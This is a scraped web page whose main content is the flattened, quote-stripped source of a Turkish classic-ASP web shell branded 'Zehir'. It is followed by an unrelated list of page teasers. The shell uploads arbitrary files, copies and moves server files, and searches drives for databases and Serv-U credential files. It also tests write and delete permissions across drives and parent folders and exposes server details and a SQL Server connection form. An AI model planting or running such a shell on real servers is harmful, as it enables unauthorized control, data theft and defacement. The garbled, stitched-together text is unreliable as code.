System Info | System Test | Sites Test | Folder - TopicsExpress

System Info | System Test | Sites Test | Folder Action | SQL Server | POWERED BY function sistemBilgisi(yol){ NewWindow(yol,,600,240,no); } function SitelerTestte(yol){ NewWindow(yol,,530,420,no); } function klasorIslemleri(yol){ NewWindow(yol,,400,280,no); } function sqlServer(yol){ NewWindow(yol,,300,50,no); } function poweredby(yol){ NewWindow(yol,,300,50,no); } function sistemTest(yol){ NewWindow(yol,,400,300,no); } = llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseFileName = Mid(pstrDisposition, llngStart, llngLength) End Function Public Property Get Count() Count = mlngCount End Property Public Default Property Get Fields(ByVal pstrName) Dim llngIndex If IsNumeric(pstrName) Then llngIndex = CLng(pstrName) If llngIndex > mlngCount - 1 Or llngIndex < 0 Then Call Err.Raise(vbObjectError + 1, clsUpload.asp, Object does not exist within the ordinal reference.) Exit Property End If Set Fields = mobjFieldAry(pstrName) Else pstrName = LCase(pstrname) For llngIndex = 0 To mlngCount - 1 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then Set Fields = mobjFieldAry(llngIndex) Exit Property End If Next End If Set Fields = New clsField End Property Private Sub Class_Terminate() Dim llngIndex For llngIndex = 0 To mlngCount - 1 Set mobjFieldAry(llngIndex) = Nothing Next ReDim mobjFieldAry(-1) End Sub Private Sub Class_Initialize() ReDim mobjFieldAry(-1) CR = ChrB(Asc(vbCr)) LF = ChrB(Asc(vbLf)) CRLF = CR & LF mlngCount = 0 Call RequestData Call ParseDelimiter() Call ParseData End Sub Private Function CStrU(ByRef pstrANSI) Dim llngLength Dim llngIndex llngLength = LenB(pstrANSI) For llngIndex = 1 To llngLength CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) Next End Function Private Function CStrB(ByRef pstrUnicode) Dim llngLength Dim llngIndex llngLength = Len(pstrUnicode) For llngIndex = 1 To llngLength CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) Next End Function End Class #################################### Session(n1) = byZ Class clsField Public Name Private mstrPath Public FileDir Public FileExt Public FileName Public ContentType Public Value Public BinaryData Public Length Private mstrText Public Property Get BLOB() BLOB = BinaryData End Property Public Function BinaryAsText() Dim lbinBytes Dim lobjRs If Length = 0 Then Exit Function If LenB(BinaryData) = 0 Then Exit Function If Not Len(mstrText) = 0 Then BinaryAsText = mstrText Exit Function End If lbinBytes = ASCII2Bytes(BinaryData) mstrText = Bytes2Unicode(lbinBytes) BinaryAsText = mstrText End Function Public Sub SaveAs(ByRef pstrFileName) Const adTypeBinary=1 Const adSaveCreateOverWrite=2 Dim lobjStream Dim lobjRs Dim lbinBytes If Length = 0 Then Exit Sub If LenB(BinaryData) = 0 Then Exit Sub Set lobjStream = Server.CreateObject(ADODB.Stream) lobjStream.Type = adTypeBinary Call lobjStream.Open() lbinBytes = ASCII2Bytes(BinaryData) Call lobjStream.Write(lbinBytes) On Error Resume Next Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) if err0 then response.Write &err.Description Call lobjStream.Close() Set lobjStream = Nothing End Sub Public Property Let FilePath(ByRef pstrPath) mstrPath = pstrPath If Not InStrRev(pstrPath, .) = 0 Then FileExt = Mid(pstrPath, InStrRev(pstrPath, .) + 1) FileExt = UCase(FileExt) End If If Not InStrRev(pstrPath, \) = 0 Then FileName = Mid(pstrPath, InStrRev(pstrPath, \) + 1) End If If Not InStrRev(pstrPath, \) = 0 Then FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, \) - 1) End If End Property Public Property Get FilePath() FilePath = mstrPath End Property private Function ASCII2Bytes(ByRef pbinBinaryData) Const adLongVarBinary=205 Dim lobjRs Dim llngLength Dim lbinBuffer llngLength = LenB(pbinBinaryData) Set lobjRs = Server.CreateObject(ADODB.Recordset) Call lobjRs.Fields.Append(BinaryData, adLongVarBinary, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields(BinaryData).AppendChunk(pbinBinaryData & ChrB(0)) Call lobjRs.Update() lbinBuffer = lobjRs.Fields(BinaryData).GetChunk(llngLength) Call lobjRs.Close() Set lobjRs = Nothing ASCII2Bytes = lbinBuffer End Function Private Function Bytes2Unicode(ByRef pbinBytes) Dim lobjRs Dim llngLength Dim lstrBuffer llngLength = LenB(pbinBytes) Set lobjRs = Server.CreateObject(ADODB.Recordset) Call lobjRs.Fields.Append(BinaryData, adLongVarChar, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields(BinaryData).AppendChunk(pbinBytes) Call lobjRs.Update() lstrBuffer = lobjRs.Fields(BinaryData).Value Call lobjRs.Close() Set lobjRs = Nothing Bytes2Unicode = lstrBuffer End Function End Class Session(n2) = ehir #################################### function addslash(path) if right(path,1)=\ then addslash=path else addslash=path & \ end function sub Upload() dim objUpload,f,max,i,name,path,size,success set objUpload=New clsUpload targetPath=objUpload.Fields(folder).Value max=objUpload.Fields(max).Value for i=1 to max name=objUpload.Fields(file & i).FileName size=objUpload.Fields(file & i).Length if (name) and (size>0) then gMsg=gMsg & & vbNewLine & - & name & ( & FormatNumber(size,0) & bytes): path=addslash(targetPath) & name objUpload.Fields(file & i).SaveAs path if objFSO.FileExists(path) then on error resume next set f=objFSO.GetFile(path) if IsObject(f) then if f.Size=size then success=true else success=false end if set f=nothing end if if success then gMsg=gMsg & uploaded else gMsg = gMsg & failed! end if next response.Write gMsg set objUpload=nothing end sub if status=-4 then Upload() hataKontrol popup=false end if //////////////////////////////// sub hataKontrol if err0 then Response.Write Hata : &err.Description& end if end sub sub araBul(path_,ara_) on error resume next If Len(path_) > 0 Then cur = path_&\ If cur = \\ Then cur = parent = If InStrRev(cur,\) > 0 Then parent = Left(cur, InStrRev(cur, \, Len(cur)-1)) End If Else cur = End If Set f = objFSO.GetFolder(cur) Set fc = f.Files For Each f1 In fc if lcase(InStr(1,f1.name,lcase(ara_)))>0 then downStr = Í if lcase(ara_)=mdb then Response.Write downStr&û * &f1.path& [&f1.size&]& else Response.Write downStr&û! - &f1.path& [&f1.size&]& end if end if Next Set fs = f.SubFolders For Each f1 In fs araBul f1.path,ara_ Next Set f = Nothing Set fc = Nothing Set fs = Nothing end sub sub sistemTest response.Write response.Write KonumSonuç servu_Test WriteTestOnDriver WriteTestOnLocalPath LocalPathParentFolder LocalPathPParentFolder response.Write end sub sub servu_Test dosya_ = Array(Program Files\Serv-u\Serv-u.ini, Program Files\Serv-u\Serv-u daemon.ini, Serv-u\Serv-u.ini, Serv-u\Serv-u daemon.ini) for each drive_ in objFSO.Drives if drive_.Drivetype=2 or drive_.Drivetype=3 then for each d_ in dosya_ d_ = drive_.DriveLetter&:\&d_ if objFSO.FileExists(d_) then response.Write Serv-U ini file : &d_& end if next end if next end sub function yaziyomu(yol) on error goto 0:on error resume next dim sonuc__ Set MyFile = objFSO.CreateTextFile(yol & \test.zehir, True) MyFile.write byzehir set MyFile = Nothing if err0 then sonuc__=Yazma Hakkı Yok! else sonuc__=Yazma Hakkı Var! on error goto 0: on error resume next objFSO.DeleteFile yol & \test.zehir,true if err0 then sonuc__=sonuc__&Silme Hakkı Yok! else sonuc__=sonuc__&Silme Hakkı Var! end if end if yaziyomu = sonuc__ end function function yaziyomu2(yol) on error goto 0:on error resume next Set MyFile = objFSO.CreateTextFile(yol & \test.zehir, True) MyFile.write byzehir set MyFile = Nothing if err0 then yaziyomu2 = false else objFSO.DeleteFile yol & \test.zehir yaziyomu2 = true end if end function sub WriteTestOnDriver for each drive_ in objFSO.Drives if drive_.Drivetype=2 or drive_.Drivetype=3 then if not yaziyomu2(drive_.DriveLetter&:\) then Response.Write &drive_.DriveLetter&:\yazma yetkisi yok! : [&err.Description&] else Response.Write &drive_.DriveLetter&:\yazma yetkisi var! end if end if next end sub sub WriteTestOnLocalPath on error goto 0 on error resume next if not yaziyomu2(request.servervariables(APPL_PHYSICAL_PATH)) then Response.Write Local Path yazma yetkisi yok! : [&err.Description&] else Response.Write Local Path yazma yetkisi var! end if end sub sub LocalPathParentFolder on error goto 0 on error resume next hed_ = request.servervariables(APPL_PHYSICAL_PATH) if Right(hed_,1)=\ then hed_ = left(hed_,len(hed_)-1) parhed_ = left(hed_,InStrRev(hed_,\)) Set f = objFSO.GetFolder(parhed_) Set fc = f.SubFolders int_fol=0 int_fil=0 For Each f1 In fc int_fol=int_fol+1 Next Set fc = f.files For Each f1 In fc int_fil=int_fil+1 Next if err0 then Response.Write Local Path Parent FolderHata Oluştu : [&err.Description&] else Response.Write Local Path Parent FolderFolder : &FormatNumber(int_fol,0)&File : &FormatNumber(int_fil,0)& end if end sub sub LocalPathPParentFolder on error goto 0 on error resume next hed_ = request.servervariables(APPL_PHYSICAL_PATH) if Right(hed_,1)=\ then hed_ = left(hed_,len(hed_)-1) hed_ = left(hed_,InStrRev(hed_,\)) if Right(hed_,1)=\ then hed_ = left(hed_,len(hed_)-1) parhed_ = left(hed_,InStrRev(hed_,\)) Set f = objFSO.GetFolder(parhed_) Set fc = f.SubFolders int_fol=0 int_fil=0 For Each f1 In fc int_fol=int_fol+1 Next Set fc = f.files For Each f1 In fc int_fil=int_fil+1 Next if err0 then if err=451 then Response.Write Local Path P.Parent FolderData Üst Klasor Yok :) else Response.Write Local Path P.Parent FolderHata Oluştu : [&err.Description&] end if else Response.Write Local Path P.Parent FolderFolder : &FormatNumber(int_fol,0)&File : &FormatNumber(int_fil,0)& end if end sub SELECT CASE status CASE 13 Sistem Bilgisi Response.Write : Sistem Bilgileri : Response.Write Local Adres & request.servervariables(REMOTE_ADDR) & Response.Write User Agent & request.servervariables(HTTP_USER_AGENT) & Response.Write Server & request.servervariables(SERVER_NAME) & Response.Write IP & request.servervariables(LOCAL_ADDR) & Response.Write HTTPD & request.servervariables(SERVER_SOFTWARE) & Response.Write Port & request.servervariables(SERVER_PORT) & Response.Write Yol & request.servervariables(APPL_PHYSICAL_PATH) & Response.Write Log Root & request.servervariables(APPL_MD_PATH) & Response.Write HTTPS & request.servervariables(HTTPS) & Response.Write popup = false CASE 14 Upload and Search aramaUpload popup = false hataKontrol CASE 15 Ms. SQL Server Response.Write Response.Write SQL Server için connection string giriniz Response.Write Response.Write response.Write Response.Write response.Write popup = false hataKontrol CASE 16 file Copy window Response.Write Response.Write Kop. Yer : Response.Write Response.Write response.Write Response.Write response.Write Kopyala response.Write Tasi response.Write response.Write popup = false hataKontrol CASE 17 file Copy isl = if islem=kopyala then objFSO.CopyFile path,cf isl=kopyalandı.. elseif islem=tasi then objFSO.MoveFile path,cf isl=taşındı.. end if response.Write Dosya &isl response.Write Kaynak : &path&Hedef : &cf response.Write popup = false hataKontrol CASE 18 folder Copy window Response.Write Response.Write Kop. Yer : Response.Write Response.Write response.Write Response.Write response.Write Kopyala response.Write Tasi response.Write response.Write popup = false hataKontrol CASE 19 folder Copy isl = if islem=kopyala then objFSO.CopyFolder path,cf isl=kopyalandı.. elseif islem=tasi then objFSO.MoveFolder path,cf isl=taşındı.. end if response.Write Klasor &isl response.Write Kaynak : &path&Hedef : &cf response.Write popup = false hataKontrol CASE 33 Powered By response.Write Powered by Zehir response.Write zehirhacker@hotmailküllü nefsun zaifetun mevt popup = false hataKontrol CASE 40 Sistem Test sistemTest popup=false CASE 50 Siteleri Test Edelim :D %> Güvenlik Testi byZehir Path Sub Folder File Name index.htm default.htm index.asp default.asp Kes Kopyala Yapıştır Bold Italic UnderLine JustifyLeft JustifyCenter JustifyRight AddLink AddImage -- Renk -- Siyah Beyaz Mavi Kırmızı Yeşil Sarı Turuncu Kahverengi Pembe Açık Mavi Açık Yeşil -- Renk -- Siyah Beyaz Mavi Kırmızı Yeşil Sarı Turuncu Kahverengi Pembe Açık Mavi Açık Yeşil -- Boyut -- 1 2 3 4 5 6 frames.byZehir.document.designMode = On; function bgc(option){ frames.byZehir.document.body.bgColor=option; } function FormatText(command, option){ frames.byZehir.focus(); frames.byZehir.document.execCommand(command, false, option); frames.byZehir.focus(); } function AddImage(){ imagePath = prompt(Eklemek istediğiniz resmin web adresini yazın, ); if ((imagePath != null) && (imagePath != )){ frames.byZehir.focus(); frames.byZehir.document.execCommand(InsertImage, false, imagePath); } frames.byZehir.focus(); } var dosyaPath = // DRIVE ISLEMLERI function driveGo(drive_){ location = dosyaPath+?status=1&path=+drive_+&Time=+Date(); }

If you’ve ever had one of our delicious Ch’up Cakes, you know

James 2:14 What doth it profit, my brethren, though a man say he

Salomon Moran Dominguez HOW TO WALK IN YOUR HEELS LIKE A

(1) ORDER NOW! MICHAEL Michael Kors Harper Leather Tote From

In 1986, Peter Davies was on holiday in Kenya after graduating

The Justice of God Justice is a word we hear every day. We use

WHAT IS RAPTURE !!! THE ROOTS OF RAPTURE IN BIBLE !!! Let not

Gee Im really tired tonight! I got up this morning made coffee,

FROM the tall grass came the voice of a crying babe. The huntsmen

Chaco - Velleda (Beluga) - Footwear Review Best Black Friday Deals

START YOUR EFFECTIVE BEAUTY PRODUCTS BUSINESS AT ONLY P5000!

“The “Four Pillars of the House of Socialism,” written by

Washington Wally "Jay Carney, the unapologetic liar, who often

DONT RUSH IN; PRAY! Why the rush? Have you prayed about that

Tento týždeň kvalita neklesá. #NajvyššiaPonuka od G.

Blíží se víkend a s ním první skoro-podzimní vydání

Jace and I sat up the other night and watched Son of God together.

A shameful stunt at the Missouri State Fair has created an uproar

Real Madrid Till i Die:BD fans wrote: Two days in jail for

Who re those celebrating indepence ? Is it those pple that re

The Blythe Hotel, the first built in the town was burned, the

~Hurry! Offer valid only for today! 1000 OFF on mobiles &

ok 3 more bits for sale or trade but only looking for aircraft

BROTHER ANDRE—HIS LIFE AND TIMES—1845-1937 Alfred Bessette

Hi folks, the Spanish Water Dog Calendar, in aid of Spanish Water